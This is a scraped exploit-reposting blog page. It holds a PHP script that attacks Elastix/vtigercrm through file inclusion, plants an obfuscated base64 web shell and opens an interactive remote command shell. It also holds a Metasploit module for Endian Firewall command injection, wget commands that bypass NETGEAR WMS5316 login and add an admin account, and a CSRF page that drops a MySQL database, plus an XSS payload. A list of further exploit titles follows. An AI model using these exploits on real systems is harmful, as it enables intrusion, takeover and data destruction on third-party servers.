<?
echo "\n+-------------------------------------------+\n";
echo "| Elastix <= 2.4 |\n";
echo "| PHP Code Injection Exploit |\n";
echo "| By i-Hmx |\n";
echo "| sec4ever.com |\n";
echo "| n0p1337@gmail.com |\n";
echo "+-------------------------------------------+\n";
echo "\n| Enter Target [https://ip] # ";
$target=trim(fgets(STDIN));
$inj='<?eval(base64_decode("JGY9Zm9wZW4oJ2ZhcnNhd3kucGhwJywndysnKTskZGF0YT0nPD8gaWYoISRfUE9TVFtwd2RdKXtleGl0KCk7fSBlY2hvICJGYXJpcyBvbiB0aGUgbWljIDpEPGJyPi0tLS0tLS0tLS0tLS0tLS0tIjtAZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFtmYV0pKTtlY2hvICItLS0tLS0tLS0tLS0tLS0tLSI7ID8+Jztmd3JpdGUoJGYsJGRhdGEpO2VjaG8gImRvbmUiOwo="));
?>';
$faf=fopen("fa.txt","w+");
fwrite($faf,$inj);
fclose($faf);
$myf='fa.txt';
$url =
$target."/vtigercrm/phprint.php?action=fa&module=ff&lang_crm=../../modules/Import/ImportStep2.php%00";
// URL
$reffer = "http://1337s.cc/index.php";
$agent = "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4)
Gecko/20030624 Netscape/7.1 (ax)";
$cookie_file_path = "/";
echo "| Injecting 1st payload\n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,array("userfile"=>"@".realpath($myf)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_REFERER, $reffer);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file_path);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file_path);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$result = curl_exec($ch);
curl_close($ch);
//echo $result;
echo "| Injecting 2nd payload\n";
function faget($url,$post){
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_POSTFIELDS,$post);
curl_setopt($curl, CURLOPT_COOKIEFILE, '/');
curl_setopt($curl, CURLOPT_COOKIEJAR, '/');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,0);
curl_setopt($curl,CURLOPT_TIMEOUT,20);
curl_setopt($curl, CURLOPT_HEADER, true);
$exec=curl_exec($curl);
curl_close($curl);
return $exec;
}
function kastr($string, $start, $end){
$string = " ".$string;
$ini = strpos($string,$start);
if ($ini == 0) return "";
$ini += strlen($start);
$len = strpos($string,$end,$ini) - $ini;
return substr($string,$ini,$len);
}
$me=faget($target."/vtigercrm/phprint.php?action=fa&module=ff&lang_crm=../../cache/import/IMPORT_%00","");
echo "| Testing total payload\n";
$total=faget($target."/vtigercrm/farsawy.php","pwd=1337");
if(!eregi("Faris on the mic :D",$total))
{
die("[+] Exploitation Failed\n");
}
echo "| Sending CMD test package\n";
$cmd=faget($target."/vtigercrm/farsawy.php","pwd=1337&fa=cGFzc3RocnUoJ2VjaG8gZmFyc2F3eScpOw==");
if(!eregi("farsawy",$cmd))
{
echo " + Cmd couldn't executed but we can evaluate php code\n + use :
$target//vtigercrm/fa.php\n Post : fa=base64code\n";
}
echo "| sec4ever shell online ;)\n\n";
$host=str_replace('https://','',$target);
while(1){
echo "i-Hmx@$host# ";
$c=trim(fgets(STDIN));
if($c=='exit'){die("[+] Terminating\n");}
$payload=base64_encode("passthru('$c');");
$fuck=faget($target."/vtigercrm/farsawy.php","pwd=1337&fa=$payload");
$done=kastr($fuck,"-----------------","-----------------");
echo "$done\n";
}
/*
I dont even remember when i exploited this shit!
maybe on 2013?!
whatever , Hope its not sold as 0day in the near future xDD
*/
?>
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863158345
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Endian Firewall Proxy Password Change Command Injection',
'Description' => %q{
This module exploits an OS command injection vulnerability in a
web-accessible CGI script used to change passwords for locally-defined
proxy user accounts. Valid credentials for such an account are
required.
Command execution will be in the context of the "nobody" account, but
this account had broad sudo permissions, including to run the script
/usr/local/bin/chrootpasswd (which changes the password for the Linux
root account on the system to the value specified by console input
once it is executed).
The password for the proxy user account specified will *not* be
changed by the use of this module, as long as the target system is
vulnerable to the exploit.
Very early versions of Endian Firewall (e.g. 1.1 RC5) require
HTTP basic auth credentials as well to exploit this vulnerability.
Use the USERNAME and PASSWORD advanced options to specify these values
if required.
Versions >= 3.0.0 still contain the vulnerable code, but it appears to
never be executed due to a bug in the vulnerable CGI script which also
prevents normal use (http://jira.endian.com/browse/UTM-1002).
Versions 2.3.x and 2.4.0 are not vulnerable because of a similar bug
(http://bugs.endian.com/print_bug_page.php?bug_id=3083).
Tested successfully against the following versions of EFW Community:
1.1 RC5, 2.0, 2.1, 2.2, 2.5.1, 2.5.2.
Should function against any version from 1.1 RC5 to 2.2.x, as well as
2.4.1 and 2.5.x.
},
'Author' => [
'Ben Lincoln' # Vulnerability discovery, exploit, Metasploit module
],
'References' => [
['CVE', '2015-5082'],
['URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5082'],
['EDB', '37426'],
['EDB', '37428']
],
'Privileged' => false,
'Platform' => %w{ linux },
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d",
'DisableNops' => true,
'Space' => 2048
},
'Targets' =>
[
[ 'Linux x86',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
'CmdStagerFlavor' => [ :echo, :printf ]
}
],
[ 'Linux x86_64',
{
'Platform' => 'linux',
'Arch' => ARCH_X86_64,
'CmdStagerFlavor' => [ :echo, :printf ]
}
]
],
'DefaultOptions' =>
{
'SSL' => true,
'RPORT' => 10443
},
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 28 2015',
'License' => MSF_LICENSE
))
register_options([
OptString.new('TARGETURI', [true, 'Path to chpasswd.cgi CGI script',
'/cgi-bin/chpasswd.cgi']),
OptString.new('EFW_USERNAME', [true,
'Valid proxy account username for the target system']),
OptString.new('EFW_PASSWORD', [true,
'Valid password for the proxy user account']),
OptString.new('RPATH', [true,
'Target PATH for binaries used by the CmdStager', '/bin'])
], self.class)
register_advanced_options(
[
OptInt.new('HTTPClientTimeout', [ true, 'HTTP read response timeout (seconds)', 5])
], self.class)
end
def exploit
# Cannot use generic/shell_reverse_tcp inside an elf
# Checking before proceeds
if generate_payload_exe.blank?
fail_with(Failure::BadConfig,
"#{peer} - Failed to store payload inside executable, " +
"please select a native payload")
end
execute_cmdstager(:linemax => 200, :nodelete => true)
end
def execute_command(cmd, opts)
cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod")
req(cmd)
end
def req(cmd)
sploit = "#{datastore['EFW_PASSWORD']}; #{cmd};"
post_data = Rex::MIME::Message.new
post_data.add_part('change', nil, nil, 'form-data; name="ACTION"')
post_data.add_part(datastore['EFW_USERNAME'], nil, nil, 'form-data; name="USERNAME"')
post_data.add_part(datastore['EFW_PASSWORD'], nil, nil, 'form-data; name="OLD_PASSWORD"')
post_data.add_part(sploit, nil, nil, 'form-data; name="NEW_PASSWORD_1"')
post_data.add_part(sploit, nil, nil, 'form-data; name="NEW_PASSWORD_2"')
post_data.add_part(' Change password', nil, nil, 'form-data; name="SUBMIT"')
data = post_data.to_s
boundary = post_data.bound
referer_url =
"https://#{datastore['RHOST']}:#{datastore['RPORT']}" +
"#{datastore['TARGETURI']}"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => datastore['TARGETURI'],
'ctype' => "multipart/form-data; boundary=#{boundary}",
'headers' => {
'Referer' => referer_url
},
'data' => data
})
if res
if res.code == 401
fail_with(Failure::NoAccess,
"#{rhost}:#{rport} - Received a 401 HTTP response - " +
"specify web admin credentials using the USERNAME " +
"and PASSWORD advanced options to target this host.")
end
if res.code == 404
fail_with(Failure::Unreachable,
"#{rhost}:#{rport} - Received a 404 HTTP response - " +
"your TARGETURI value is most likely not correct")
end
end
end
end
NETGEAR Wireless Management System - Authentication Bypass and
Privilege Escalation.
WMS5316 ProSafe 16AP Wireless Management System - Firmware 2.1.4.15
(Build 1236).
[-] Vulnerability Information:
==============================
Title: NETGEAR Wireless Management System - Authentication Bypass and
Privilege Escalation
CVE: Not assigned
Vendor: NETGEAR
Product: WMS5316 ProSafe 16AP Wireless Management System
Affected Version: Firmware 2.1.4.15 (Build 1236)
Fixed Version: Not publicly available
[-] Disclosure Timeline:
========================
22/04/2015
Vulnerability identified by Reinforce Services
23/04/2015
Support case created with NETGEAR.
24/04/2015
Vendor requested further information.
27/04/2015
Issue escalated within NETGEAR.
30/04/2015
Issue confirmed by vendor.
18/05/2015
Vendor confirmed issue present in other controllers (details unknown)
Beta update for WMS5316 expected first week of June.
06/25/2015
Vendor releases firmware version 2.1.5 that now contains a fix.
http://downloadcenter.netgear.com/en/product/WMS5316#
http://kb.netgear.com/app/answers/detail/a_id/29339
(Note: This has not been tested to confirm the issue is resolved)
[-] Proof of Concept:
=================
wget --keep-session-cookies --save-cookies=cookies.txt
--post-data="reqMethod=auth_user&jsonData=%7B%22user_name%22%3A%20%22ANYTHING%22%2C%20%22password%22%3A%20%22&%22%7D"
http://192.168.1.2/login_handler.php && wget
--load-cookies=cookies.txt
--post-data="reqMethod=add_user&jsonData=%7B%22user_name%22%3A%20%22newusername%22%2C%20%22password%22%3A%20%22newpassword%22%2C%20%22re_password%22%3A%20%22newpassword%22%2C%20%22type%22%3A%20%222%22%7D"
http://192.168.1.2/request_handler.php
[-] Vulnerability Details:
==========================
The process to bypass authentication and escalate privileges is as follows:
One:
Include the "&" symbol anywhere in the password value in the login
request (as raw content - it must not be encoded).
Two:
After a moment, the system will accept those credentials and grant
access to the GUI. The account appears somewhat restricted - but this
is only client side.
Three:
Send a request to add a new administrative user.
Four:
The new admin account is then available for use as created above.
Note: As an alternative, it is trivial to modify the Java code on it's
way down to a browser to enable all of the admin functions rather than
creating a new user.
This worked as well - so it's not strictly necessary to create a new
user; the bypass 'user' has full admin access if needed (leaving less
indicators of compromise)
[-] Credits:
============
Vulnerability discovered by Elliott Lewis of Reinforce Services
[-] Copyright:
==============
Copyright (c) Reinforce Services Limited 2015, All rights reserved
worldwide. Permission is hereby granted for the electronic
redistribution of this information. It is not to be edited or altered
in any way without the express written consent of Reinforce Services
Limited.
[-] Disclaimer:
===============
The information herein contained may change without notice. Use of
this information constitutes acceptance for use in an AS IS condition.
There are NO warranties, implied or otherwise, with regard to this
information or its use. Any use of this information is at the user's
risk. In no event shall the author/distributor (Reinforce Services
Limited) be held liable for any damages whatsoever arising out of or
in connection with the use or spread of this information.
[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/AS-JSPMYSQLADMINISTRADOR-0904.txt
Vendor:
================================
JSPMySQL Administrador
https://sites.google.com/site/mfpledon/producao-de-software
Product:
================================
JSPMySQL Administrador v.1 is a remote administration of MySQL databases
that are on a Web server using JSP technology
Vulnerability Type:
===================
CSRF & XSS
CVE Reference:
==============
N/A
Vulnerability Details:
=====================
1) No CSRF token exists allowing remote attackers to run arbitrary SQL
commands
on the MySQL database.
2) XSS entry point exists on the listaBD2.jsp web page opening up the
application
for client side browser code execution.
In either case get victim to visit our malicious webpage or click on our
malicious linx then KABOOOOOOOOOOOOOOOOOOOOOOM!!!
Exploit code(s):
===============
1- CSRF to drop the default MySQL database on the remote server:
----------------------------------------------------------------
<!DOCTYPE>
<html>
<head>
<title>JSP-MYSQL-ADMIN-CSRF</title>
<body onLoad="doit()">
<script>
function doit(){
var e=document.getElementById('HELL')
e.submit()
}
<!-- CSRF DROP MYSQL DATABASE -->
<form id="HELL" action="http://localhost:8081/sys/sys/listaBD2.jsp"
method="post">
<input type="text" name="cmd" value="DROP DATABASE mysql"/>
<input type="text" name="btncmd" value="Enviar" />
<input type="text" name="bd" value="mysql" />
</form>
2- XSS client side code execution delivered to the victim:
----------------------------------------------------------
http://localhost:8081/sys/sys/listaBD2.jsp?bd=%22/%3E%3Cscript%3Ealert%28666%29%3C/script%3E
Disclosure Timeline:
=========================================================
Vendor Notification: August 31, 2015
September 4, 2015 : Public Disclosure
Exploitation Technique:
=======================
Remote
Severity Level:
=========================================================
High
Description:
==========================================================
Request Method(s): [+] POST & GET
Vulnerable Product: [+] JSPMySQL Administrador v.1
Vulnerable Parameter(s): [+] cmd, bd
Affected Area(s): [+] listaBD2.jsp
===========================================================
[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.
by hyp3rlinx

- Read more...
- 0 comments
- 1 view

WordPress Plugin Zingiri Forums - 'language' Local File Inclusion
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Sourcefabric Newscoop - 'f_email' SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

Advantech Webaccess 8.0 / 3.4.3 - ActiveX Multiple Vulnerabilities
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

FOOT Gestion - 'id' SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Qlikview 11.20 SR11 - Blind XML External Entity Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Auto-Exchanger 5.1.0 - Cross-Site Request Forgery
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

PHP 5.4/5.5/5.6 - SplDoublyLinkedList 'Unserialize()' Use-After-Free
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

VoipNow Service Provider Edition - Arbitrary Command Execution
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

TinyMCPUK - 'test' Cross-Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

WordPress Theme Nest - 'codigo' SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

WordPress Theme White-Label Framework 2.0.6 - Cross-Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Cisco Sourcefire User Agent 2.2 - Insecure File Permissions
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Oracle MySQL / MariaDB - Insecure Salt Generation Security Bypass
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

DirectAdmin Web Control Panel 1.483 - Multiple Vulnerabilities
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

vBulletin ajaxReg Module - SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

SimpleInvoices invoices Module - Customer Field Cross-Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

MyBB Transactions Plugin - 'transaction' SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view